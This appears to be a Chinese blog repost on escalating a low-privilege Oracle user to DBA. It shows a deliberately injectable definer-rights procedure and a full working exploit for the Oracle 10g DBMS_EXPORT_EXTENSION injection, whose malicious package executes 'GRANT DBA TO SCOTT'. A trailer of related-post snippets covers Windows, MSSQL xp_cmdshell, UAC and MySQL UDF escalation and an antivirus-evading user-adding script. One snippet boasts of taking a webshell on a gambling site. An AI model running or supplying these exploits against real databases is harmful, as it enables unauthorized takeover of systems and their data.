Oracle数据库提权(低权限提升至dba)

0x01 Oracle存储过程缺陷

在 Oracle 的存储过程中,有一个有趣的特点:运行权限。运行权限分为两种,definer 和 invoker。

definer 为函数创建者的权限,而 invoker 则是当前调用函数的用户。运行权限在函数创建时就已经被钦定了,默认为 definer


说白了,如果我们用低权限用户去运行DBA权限用户创建的存储过程,我们在调用时就可以额访问DBA资源,使用DBA的权限

Oracle 这样做的初衷,实际上是为了用户互相访问资源时,避免用户凭据的问题。当然也可以将函数的权限定义为 invoker,但需要显式设置:

create or replace function Whoami return varchar2

AUTHID CURRENT_USER

begin NULL; end;

因为具有这样的特性,所以当存储过程函数实现存在缺陷时,安全问题就产生了。





比如下面这里新建一个存储过程

create or replace procedure SasugaOracle(msg in varchar2)

as

stmt varchar2(255);

begin

    stmt := ‘BEGIN DBMS_OUTPUT.PUT_LINE(‘‘‘ || msg || ‘‘‘) END;‘;

    EXECUTE IMMEDIATE stmt;

end;

EXECUTE IMMEDIATE 用于动态执行 SQL 语句。首先使用 DBA 用户创建该过程并赋予所有人执行权限:

grant execute on SasugaOracle to public;

接着切换到普通用户,只有 CONNECT 和 RESOURCE 权限,执行存储过程:

修改一下传入的参数,这里我们在原命令后新增了一条添加数据库用户的命令,这里添加的用户名为latec0mer

然后我们查询一下是否存在latec0mer这个用户,可以看到我们上一条新增的命令是生效的。

类似的,如果 Oracle 的系统函数中存在同样的缺陷,我们便有机会对其加以利用,提升权限,甚至执行系统命令。

0x02 Oracle 10g 经典提权漏洞

在 Oracle 10g 中, GET_DOMAIN_INDEX_TABLES 函数存在注入漏洞,该函数位于 DBMS_EXPORT_EXTENSION 包中,执行权限隶属于 sys。

用scott/tiger登陆Oracle,scott 是oracle内建用户,权限较低,我们就可以利用执行具有高权限的漏洞函数来达到提升数据库用户权限的目的。

sqlplus scott/tiger@orcl

查询scott的当前角色

select * from session_roles;

可以看到scott只有CONNECT和RESOURCE两个权限较低的角色

利用漏洞执行权限提升

Create or REPLACE

PACKAGE HACKERPACKAGE AUTHID CURRENT_USER

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER;

END;

/

Create or REPLACE PACKAGE BODY HACKERPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE ‘GRANT DBA TO SCOTT‘;
COMMIT;
RETURN(1);
END;
END;
/

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := ‘A1‘;
INDEX_SCHEMA := ‘SCOTT‘;
TYPE_NAME := ‘HACKERPACKAGE‘;
TYPE_SCHEMA := ‘SCOTT‘;
VERSION := ‘10.2.0.1.0‘;
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>
INDEX_NAME,
INDEX_SCHEMA=> INDEX_SCHEMA,
TYPE_NAME => TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
END;
/

现在我们再来看看权限

成功从普通用户提权到dba用户。

ps:经测试,oracle10.2.0.4以上版本没这个安全漏洞

原文地址:https://www.cnblogs.com/-qing-/p/10758613.html

时间: 2024-10-10 19:33:00

Oracle数据库提权(低权限提升至dba)的相关文章

windows提权之ftp提权

windows提权之ftp提权 0,起因,由于前几天拿了一个菠菜站的webshell,但是只有iis权限,执行无法创建用户等操作,更无法对整个服务器进行控制了,于是此时便需要提权了,对于一个刚刚入门的小白来说,此刻真正意识到了提权的重要性,于是便开始学习提取相关知识,以拿下该菠菜的站点. 提权前的准备工作 1,通常来说,不同的脚本所处的权限是不一样的.这就意味着,如果该站点支持权限更高的脚本,我们可以上传该权限更高的脚本的大马,进而拿到更高的权限. asp/php 通常为匿名权限(网络服务权限)

提权系列(二)----Windows Service 服务器提权之Mssql提权,GetPass提权,hash提权,LPK提权

(一).Mssql提权 必要条件:获取到mssql数据库最高权限用户sa的账号密码 Mssql默认端口:1433 Mssql最高权限用户:sa 得到sa密码之后,通过工具直接连接上去. MSSQL自带了一个XP_CMDSHELL用来执行CMD命令. (二).GetPass 提权 一款获取计算机用户账号密码的工具 (三).hash传递入侵 msf加载 Hash 算法:windows密码的加密方式 Msf下载:http://www.rapid7.com/products/metasploit/dow

[提权]Windows UAC 提权(CVE-2019-1388)

0x00 UAC简介 首先来理解一下什么是 UAC : 用户账户控制UAC:UAC 是 win10 操作系统中非常重要的安全功能,它起源于 windows vista 操作系统,流行于 windows7.windows8 .各种功能策略得到了完善的修订和开发,应用在 win10 操作系统中,目的是减少恶意软件对系统的侵害. 操作系统默认情况下是启用UAC,当用户运行软件就会触发UAC规则.执行的时候就需要权限,否则是不会运行的. 不涉及到更改计算机操作的项目是不会触发UAC规则的,能够触发UAC

[原创]IIS提权工具-VBS提权脚本免杀生成器

[原创]添加系统用户 VBS提权脚本随机加密生成器[K.8] 2011-05-05 02:42:53|  分类: 原创工具 VBS提权脚本随机加密生成器[K.8]  Author: QQ吻 QQ:396890445Team: Crack8_编程小组[K.8]Blog: http://qqhack8.blog.163.com 说明:无net.exe.net1.exe提权,可以试试用这个vbs脚本添加系统用户,它通过WSCRIPT.NETWORK来添加用户好处:1 防止某些人 从你提权后 忘了删除的

提权笔记本

/* 转载请注明出处 ID:珍惜少年时 */ 21------------FTP //找到其FTP目录,破解其密码搜索,提之 22------------linux终端 23------------telnet //可以爆破,然后dos连接之,连接后添加用户开启终端端口,然后宣告拿下! 1433----------mssql提权 //需要找到sa密码,一般存在于web.config文件中,uid pwd sa为关键字,找到该文件后Ctrl+f搜索关键字提之 3306----------mysql

web提权笔记

[ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1.exe user 2.当提权成功,3389没开的情况下,上传开3389的vps没成功时,试试上传rootkit.asp 用刚提权的用户登录进去就是system权限,再试试一般就可以了. 3.cmd拒绝访问的话就自己上传一个cmd.exe 自己上传的后缀是不限制后缀的,cmd.exe/cmd.com

提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

一.初识提权 很多时候我们入侵一个网站的时候,想要的是得到这个服务器的权限,也就是admin权限,但是一般默认得到的是普通用的地权限,权限很小,所以就要通过其他手段,提升自己的权限. 提权是将服务器的普通用户提升为管理员用户的一种操作,提权常常用于辅助旁注攻击. 下面我们来了解下window的权限(来自百度百科): Windows 提供了非常细致的权限控制项,能够精确定制用户对资源的访问控制能力,大多数的权限从其名称上就可以基本了解其所能实现的内容. " 权限"(Permission)

web提权思路

1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1.exe user 2.当提权成功,3389没开的情况下,上传开3389的vps没成功时,试试上传rootkit.asp 用刚提权的用户登录进去就是system权限,再试试一般就可以了. 3.cmd拒绝访问的话就自己上传一个cmd.exe 自己上传的后缀是不限制后缀的,cmd.exe/cmd.com/cmd.txt 都

MYSQL提权的几种方式

MYSQL在windows和linux平台下存在几种不同的提权姿势,以下会做相关阐述,更多的是学习前辈的经验 Windows UDF提权 在windows下存在一个叫做动态链接库的东西,俗称DLL.该文件会把程序代码中使用的函数编译成机器码,保存在DLL文件中:在编译时,编译器不会把函数的机器码复制到可执行文件EXE中,而是在EXE执行文件中说明索要调用的函数在哪个DLL文件中,程序在执行时会自动从DLL文件中调用指定的函数 在不同的操作系统上,UDF提权的整体思路是一致的,只是函数调用的方式或